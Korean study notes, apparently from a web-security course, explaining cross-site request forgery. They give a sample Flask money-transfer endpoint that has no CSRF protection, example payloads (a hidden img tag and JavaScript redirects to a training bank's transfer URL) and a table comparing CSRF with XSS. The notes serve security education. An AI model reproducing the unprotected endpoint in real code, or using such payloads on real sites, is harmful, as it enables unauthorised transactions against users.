사용자가 로그인된 상태임을 악용해, 공격자가 원하지 않는 요청을 사용자의 권한으로 강제로 실행시키는 공격 기법 → 즉, 정상 사용자로 위장한 비정상 요청을 서버에 보내는 것(서명된 문서 위조)
예시 페이지(송금)
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
예시 공격 코드
<img src='[<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>](<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>)' width=0px height=0px> → 이미지파일을 보이지 않게 삽입해 요청할 수 있다./* 새 창 띄우기 */
window.open('[<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>](<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>)');
/* 현재 창 주소 옮기기 */
location.href = '[<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>](<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>)';
location.replace('[<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>](<http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337>)');
XSS와의 차이
| 구분 | CSRF | XSS |
|---|---|---|
| 목적 | 사용자의 권한으로 원하지 않는 요청 전송 | 웹페이지에 악성 스크립트 삽입 |
| 필요 조건 | 사용자가 로그인 상태 | 스크립트 삽입 가능성 |
| 대표 사례 | 자동 이체, 비밀번호 변경 | 쿠키 탈취, 키로깅 |